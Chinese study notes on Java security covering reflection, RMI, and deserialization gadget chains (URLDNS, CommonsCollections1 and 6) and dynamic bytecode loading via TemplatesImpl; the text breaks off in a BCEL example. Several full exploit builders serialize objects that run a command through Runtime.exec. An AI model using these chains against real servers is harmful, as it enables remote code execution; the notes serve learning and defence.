Java安全漫谈学习笔记
这份笔记主要围绕 Java 安全中的几个核心脉络展开,先从反射入手,梳理 forName、newInstance、invoke 等动态调用方式及其在绕过限制中的意义;随后过渡到 RMI 与反序列化,记录 URLDNS、CommonsCollections、CommonsBeanutils、TemplatesImpl、JDK 7u21 等常见利用链的分析思路,以及在 Shiro 场景下的一些利用与修复细节;最后也补充了动态加载字节码、Java 序列化协议结构、序列化流构造与垃圾数据填充等内容,尽量把“原理、利用链、构造方式、实战场景、修复思路”串起来方便回看。整体还是以学习过程中的整理和摘录为主,理解和表述若有不准确之处,还请见谅。
java反射
概述
java安全可以从反序列化说起,那反序列化又可以从反射说起。
反射重在 动态特性,也就是说在编译时不确定类型的情况下执行方法调用 & 调用或设置私有属性/方
法,在java漫谈中提到动态特性的定义:一段代码,改变其中的变量, 将会导致这段代码产生功能性的变化。
几个重要的方法:
forName:通过类名来获取类的蓝图,其实获取到的是 java.lang.class 的实例
newInstance:通过类的 蓝图 对类进行实例化
getmethod:通过方法名获取函数
invoke:执行函数
说到 forName ,除了 forName 还有三种方法获取类(蓝图),obj.getClass()、Test.class,Class.forName,那么 forName 也就是通过反射获取到类最大的原因就是通过字符串绕过关键词过滤&通过绕过沙盒(1.getClass.forName("java.lang.Runtime"))。
forName
Class.forName 参数如下:
className(如果是 C1 内部类 C2 直接加载 C1$C2)
initialize(是否初始化)
ClassLoader
首先补充一下 java 的特性:
一个子类 super 会调用父类的构造方法,this 会依据参数自动调自己类的构造方法。
在一个类的构造方法中,如果 super & this 必须出现一个且唯一(任何类都继承于 Object ),如果没有的话编译器自动会加入无参的 super。
这里 initialize 参数很有意思,就算把 forName 参数中初始化设为 true,构造函数也并不会执行,这里的初始化要理解为 类 的初始化,而不是 对象 的初始化。
比如这个代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class TrainPrint { static { System.out.printf("Static initial %s\n", TrainPrint.class); } { System.out.printf("Empty block initial %s\n", this.getClass()); } public TrainPrint() { System.out.printf("Initial %s\n", this.getClass()); } }
|
执行顺序:
| 顺序 |
步骤名称 |
发生时间 |
| 1 |
静态代码块 static {} |
类第一次被加载时 |
| 2 |
父类构造器 super() |
每次 new 对象的第一件事 |
| 3 |
实例代码块 {} |
super() 之后,构造方法体之前 |
| 4 |
构造方法体 {...} |
最后 |
forName 的好处就在于正常情况下除了系统类,需要先 import 再使用,而使用 forName 就可以加载任意类。
newInstance
直接 newInstance 经常会失败,原因有两个:
- 不存在无参构造函数
- 构造函数是私有的
比如 java.lang.Runtime:
1 2
| Class clazz = Class.forName("java.lang.Runtime"); clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
|
因为是私有的不能直接调用(“单例模式”避免多次建立而是要进行复用),所以我们需要借助一个方法 getRuntime 来进行获取进程早就创建好的 Runtime 实例。
getMethod
getMethod 能通过反射获取某个类特定的公有方法,不过由于 Java 支持类的重载,光有方法名是不行的,还得需要参数类型。
invoke
- 普通方法第一个参数是类对象,剩下跟着参数
- 静态方法第一个参数是类,剩下跟着参数
1 2 3 4 5
| Class clazz = Class.forName("java.lang.Runtime"); Method execMethod = clazz.getMethod("exec", String.class); Method getRuntimeMethod = clazz.getMethod("getRuntime"); Object runtime = getRuntimeMethod.invoke(clazz); execMethod.invoke(runtime, "calc.exe");
|
getConstructor
当一个类没有无参构造方法,也没有类似于单例模式的静态方法的 getRuntime 的时候,需要用到 getConstructor 来获取构造函数(java.lang.reflect.Constructor 的实例),然后再调用 newInstance 来进行实例化。
正常版本
1 2 3
| Class clazz = Class.forName("java.lang.ProcessBuilder"); clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance( Arrays.asList("calc.exe")));
|
可变长参数版本
在调用 newInstance 时,因为这个函数本身接收的是一个可变长参数,我们传给
ProcessBuilder 的也是一个可变长参数,二者叠加为一个二维数组,防止被错误解析。
1
| Class.forName("java.lang.ProcessBuilder").getMethod("start").invoke(Class.forName("java.lang.ProcessBuilder").getConstructor(String[].class).newInstance((Object) new String[]{"calc.exe"}));
|
getField/setField
1 2 3
| Field publicField = clazz.getField("myPublicVar"); Object value = field.get(instance); field.set(instance, "new value");
|
getDeclared 系列
所有的方法都有对应的 Declared,也都必须要多一步声明可用为真。
当构造方法是私有的时候,就需要用到 getDeclaredConstructor(也存在 getDeclaredMethod/getDeclaredField,只能获取到当前类中声明的所有方法/变量,区别能获取到所有公共方法包括父类的)。
1 2 3 4 5 6 7 8 9
| Class clazz = Class.forName("java.lang.Runtime"); Constructor m = clazz.getDeclaredConstructor(); m.setAccessible(true); clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
Field field = clazz.getDeclaredField("myPrivateVar"); field.setAccessible(true); Object value = field.get(instance); field.set(instance, "new value");
|
RMI
概述
RMI 全称是 Remote Method Invocation,远程方法调用,旨在调用其他 Java 虚拟机对象的方法。
Standard RMI server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package org.vulhub.RMI;
import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote { public String hello() throws RemoteException; }
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { protected RemoteHelloWorld() throws RemoteException { super(); }
@Override public String hello() throws RemoteException { System.out.println("call from client"); return "Hello world"; } }
private void start() throws Exception { RemoteHelloWorld h = new RemoteHelloWorld(); LocateRegistry.createRegistry(1099); Naming.rebind("rmi://127.0.0.1:1099/Hello", h); System.out.println("标准 RMI Registry 运行中......"); }
public static void main(String[] args) throws Exception { new RMIServer().start(); } }
|
一个 Standard RMI server 分为三部分:
- 继承于
java.rmi.Remote 的接口,定义远程调用的函数
- 实现接口的类
- 主类,用于注册和绑定接口
Standard RMI client:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.vulhub.Train;
import org.vulhub.RMI.RMIServer; import java.rmi.Naming;
public class TrainMain { public static void main(String[] args) throws Exception { RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://192.168.135.142:1099/Hello"); String ret = hello.hello(); System.out.println(ret); } }
|
RMI 调用流程
首先客户端连接Registry,并在其中寻找 Name 是 Hello 的对象,然后 Registry 返回⼀一个序列列化的数据,这个就是找到的 Name=Hello 的对象;
客户端反序列列化该对象,发现该对象是⼀一个远程对象,地址
在 192.168.135.142:33769,于是再与这个地址建立TCP连接;在这个新的连接中,才执⾏行行真正远程
方法调用,也就是 hello() 。
RMI 存在的安全问题
RMI Registry
对于 rebind,bind,unbind 只有来源地址是 localhost 的时候才能调用,不过 list 和 lockup 是可以远程调用的,只不过调用服务端的危险方法这一利用,还是很有限。
codebase 执行任意代码
貌似比较老旧了,之前学Java安全的时候也没学到过。
大意就是,在古老的 Applet 时代,需要指定 codebase 属性(http://example.com/),那么在加载类 org.vulhub.Exp.exp 类的时候,就会去 http://example.com/org/vulhub/Exp/exp.class 下载并加载这个字节码。
那么在 RMI 背景下,当客户端想要访问 RMI 地址不存在这个类并恶意携带 codebase 属性指向恶意服务器,就会让服务端去 codebase 请求并加载这个类。
不过仅仅作为一种学习,在目前 Java 版本下只有满足以下条件才能复现成功:
- 安装并配置了
SecurityManager
- java 版本低于 7u21、6u45,或者设置了
java.rmi.server.userCodebaseOnly=false(否则Java虚拟机将只信任预先配置好的
codebase ,不再支持从 RMI 请求中获取)
网络层分析
实际上 codebase 的信息就放在了 classAnnotations 里,放进去的过程就是通过 ObjectOutputStream(Java专门用来序列化的类) 的子类 MarshalOutputStream 重写的 annotateClass 方法。
它会在 RMI 要序列化一个类(这里就是 codebase )的时候,去读取你运行参数里的 java.rmi.server.codebase,然后把这个 URL 字符串写进序列化数据流中。
反序列化
概述
当传递的数据不在 基本数据类型 之列的时候,就需要扩展格式化数据的格式,用特定的语法来传递对象。
当然,大部分的语言都有反序列化,而java的反序列化和PHP反序列化有点类似。而 readobject 更倾向于解决 反序列化后如何还原一个完整对象 的问题,而 wakeup 更倾向于解决 反序列化后如何初始化这个对象 的问题。
Java反序列化是很需要开发者参与的,大量的库都会实现 readobject,writeobject 方法。
URLDNS
作为 Java 反序列化入门链子,来温习一下。
入口在 HashMap 下的 readObject

这里调用了自己的 hash 方法,

这里进了 Key 这个 Object 的 hashCode 方法,我们传入一个 URL 对象的时候,会进 URL.hashCode。

如果自己的 hashCode 不是 -1,就返回,否则会进 handler.hashCode 方法(这里 transient URLStreamHandler handler; ,transient 本身不会被序列化)


就发生了 DNS 请求。
整个 Gadget 其实非常清晰:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
当然在生成 payload 的时候你去设置 hashcode = -1 的时候会调用 put 方法:

但是 put 方法本身就会调用 hash 方法,造成生成的时候就会进行一次 DNS 请求。
所以有两种方法避免:
CommonsCollections
CommonsCollections1
TransformedMap 是一个高级的 Map 类,由于构造方法是 protected 的,所以只能通过静态方法 decorate 来创建和使用。
1 2
| Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer)
|
这里 keyTransformer 是处理 key 的回调,valueTransformer 是处理 value 的回调。而这里 回调 指的就是实现了 Transformer 接口的类。
一个公开的接口,它只有一个待实现的方法,也就是上面所说的 回调。
1 2 3
| public interface Transformer { public Object transform(Object input); }
|
实现了 Transformer 接口的一个类,它就是在构造函数的时候传入了一个对象,在 transform 方法的时候返回而无视 transform 方法的输入。
1 2 3 4 5 6 7 8
| public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
public Object transform(Object input) { return iConstant; }
|
实现了 Transformer 接口的一个类,可以 反射 执行任意方法。
构造方法传入三个参数:方法名,参数类型,参数,transform 方法传入需要执行方法的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
|
实现了 Transformer 接口的一个类,用途就是把上一个 transform 回调的输出当作下一个 transform 回调的输入。
1 2 3 4 5 6 7 8 9 10 11
| public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
|
简单demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.vulhub.Ser;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class CommonsCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"} ) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx"); } }
|
首先我们创建一个 ChainedTransformer,里面放两个 Transformer:
ConstantTransformer,直接返回 Runtime 对象
InvokerTransformer,执行返回对象的 exec 方法打开计算器
触发 回调 的方法就是向 Map 中放一个新元素:outerMap.put("test", "xxxx");。
AnnotationInvocationHandler
前面提到,需要加入元素,触发回调,来触发 transformer 方法,最后触发漏洞。在 demo 中我们可以手动执行 outermap.put("test","xxx") 来触发漏洞,但是在实际中我们需要找到一个类,在触发 反序列化 也就是 readobject 方法的时候有类似于 写入 的操作。

memberValues就是反序列化后得到的 Map,也是经过了TransformedMap修饰的 outermap。
这里遍历了它的所有元素,并依次设置值。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的transform 方法,进而 RCE。
不过因为 AnnotationInvocationHandler 是内部类,需要用 反射 进行实例化它。
AnnotationInvocationHandler 类的构造函数有两个参数:
Annotation 类
outermap
这里注意两点:
首先是,demo 中 java.lang.Runtime 是没有实现 java.io.Serializable 接口的,所以需要反射调用来获取 Runtime.class 的 getRuntime 方法来获取到 Runtime 对象。
其次是为了保证 merbertype 不为空,只有 key 在注解类的方法列表中真实存在时(因为在底层其实是接口,它的每一个 “属性” 实际上都是一个 “方法” )。
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是
Annotation的子类,且其中必须含有至少⼀个方法,假设方法名是X
这里就使用了 Retention 类,含有 value 名的注解方法。
- 被
TransformedMap.decorate 修饰的Map中必须有⼀个键名为 X 的元素
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.app;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map;
public class CommonsCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
|
LazyMap
LazyMap 和 TransformedMap 类似,都来自于 CommonsCollections 库,并继承于 AbstractMapDecorator。
区别就在于,LazyMap 是在他的 get 方法执行 factory.transform,通俗的理解就是,当 LazyMap 找不到值的时候,去调用 transform 方法去获取一个值。
但是 LazyMap 复杂就复杂在因为在 AnnotationInvocationHandler 的 readObject 方法中每调用到 LazyMap 的 get 方法,只能在 invoke 方法中调用 get。
调用 invoke 方法可以使用Java对象代理技术(一种 hook,跟 PHP 的__call方法有点点像,只不过不仅仅是能 hook 不存在的方法,而是可以 hook 所有方法)
动态代理:
1 2 3
| Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
|
以后这个 map 的所有方法都会走 handler 的 invoke 方法,这样也就正符合我们的需要。
反序列化 AnnotationInvocationHandler 的时候,会调用它的 readObject 方法,这里我们只需要加上一个 handler ,就会自动走到这个 handler 的 invoke 方法,从而调用 get 方法,进而调用 transform 方法。
这个 handler 就可以是另外一个 AnnotationInvocationHandler 实例,里面包含着后续的利用链。
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package com.app;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] { Map.class }, handler );
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
|
另外让我感到十分惊喜的就是,Java安全漫谈中写的这两个疑问都是我一直存在的问题:
问题一:有时候会弹出两个计算器,或者没到 readObject 就弹出了计算器
这是因为当绑定动态代理那一刻起, 在任何地方执行这个 LazyMap 的方法都会触发弹出计算器,本地编译器有一些 toString 之类的方法,不经意触发了命令。所以 ysoserial 作者最后才设置 Transformer 数组到 transformerChain 中。
问题二:运行的时候,经常会在下面报错
执行命令进程对象会被 LazyMap 的 get 方法返回。这里 ysoserial 通过最后增加一个 ConstantTransformer(1) 来避免。
LazyMap 触发漏洞在 invoke 和 get 方法中,TransformeredMap 触发漏洞在 setValue 中。不过还是都在 AnnotationInvocationHandler#readObject 中触发的,针对高版本逻辑改变后,CC1链就失效了。
CommonsCollections6
简单的来说,解决Java高版本利用的问题,就是去解决如何在Java高版本调用 LazyMap#get 方法。
我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,它的构造函数中两个参数分别是 Map map 和 Object key。而在其 getValue 方法中调用了 this.map.get ,而其 hashCode 方法调用了 getValue 方法。
现在要找的就是哪里调用了 TiedMapEntry#getvalue,这里找到 java.util.HashMap#readObject 中可以找到 hash (也就是 key.hashcode)的调用。
这里看起来已经通了,不过当你真正执行发现不会弹出计算器。
这是因为:当你把 TiedMapEntry put 进 hashMap 的时候,他就会触发一次 LazyMap.get("keykey"),从而污染 LazyMap 的 hashcode 使得它存在,就不会执行 hashCode 方法。
这里还有一个细节就是,为了避免过程中就调用了 Transformer 链,先要把 transformerChain 设置成 fakeTransformerChain 然后在反序列化前最后一步通过反射修改他的私有属性 iTransformers 为真正的 transformers。
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.app;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CommonsCollections6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), new ConstantTransformer(1) };
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
|
动态加载字节码
Java字节码本质上就是一种 JVM 执行命令使用的指令,存储在 .class 文件中,具有跨平台性。并且最重要的是,它不在乎你的语言,本质上只要能编译成 .class 的都可以,后文提到的字节码可能不局限于狭义的 Java 字节码。
分为三个环节:
loadClass 从已加载的类缓存、父加载器等位置寻找类(双亲委派机制)
findClass 根据不同方式加载类的字节码,交给 defineClass
defineClass 处理字节码转成 Java 类
URLCLassLoader
ClassLoader 一般都是根据类名来加载类,这个类名是它的完整路径,比如 java.lang.Runtime。这里说到的 ClassLoader 是 URLClassLoader。
- URL不以
/ 结尾, 认为是在 Jar 包中寻找 .class 文件
- URL以
/ 结尾
- 协议名是
file:用 FileLoader 在本地文件中寻找类
- 协议名不是
file:使用最基础的 Loader 来寻找类(最常见的就是 http 协议)
1 2 3 4 5 6 7 8 9 10 11
| import java.net.URL; import java.net.URLClassLoader;
public class HelloClassLoader { public static void main(String[] args) throws Exception { URL[] urls = {new URL("http://localhost:8000/")}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass("Hello"); c.newInstance(); } }
|
ClassLoader#defineClass
demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.app;
import java.lang.reflect.Method; import java.util.Base64;
class HelloDefineClass { public static void main(String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode( "yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM" ); Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length); hello.newInstance(); } }
|
类对象的构造函数或者静态块代码在 defineClass 被调用的时候都不会被调用,而只会在 显式调用构造函数 的时候才会调用。
注意,因为 ClassLoader#defineClass 是 protected,只能通过反射调用。
TemplatesImpl
大部分上层开发者不会直接使用 ClassLoader#defineClass,不过这里提到的 TemplatesImpl 用到了 defineClass。不过刚才也提到了,defineClass 方法本身是 protected 的,只能被同包或子类直接调用,不过这里 TransletClassLoader 继承于 ClassLoader 并且重写方法为 default,可以被类外部调用。
这里给一条链子:
1 2 3
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
前面两个方法都是 public 的,可以被外部调用。
Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.app;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.util.Base64;
public class TemplatesImplTest { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer(); } }
|
这里设置了三个私有属性:
_bytecodes:字节码数组
_name:任意不为空的字符串
_tfactory:一个 TransformerFactoryImpl 对象,因为在调用链 TemplatesImpl#defineTransletClasses 这个方法的时候需要调用 _tfactory.getExternalExtensionsMap()。
注意,加载的字节码是有要求的,字节码必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,由于父类是抽象类,必须重写实现两个抽象方法
字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
public HelloTemplatesImpl() { super(); System.out.println("Hello TemplatesImpl"); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
BCEL ClassLoader
BECL 是一种 JDK 原生的东西,位于 com.sun.org.apache.bcel。BCEL 的全名应该是Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目。Java XML功能包含了JAXP规范,而Java中自带的 JAXP 实现使用了 Apache Xerces 和 Apache Xalan,Apache Xalan 又依赖了 BCEL,所以 BCEL 也被放入了标准库中。(Java 8u251 前后 ClassLoader 被移除了)
Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.app;
import com.sun.org.apache.bcel.internal.util.ClassLoader; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.Repository;
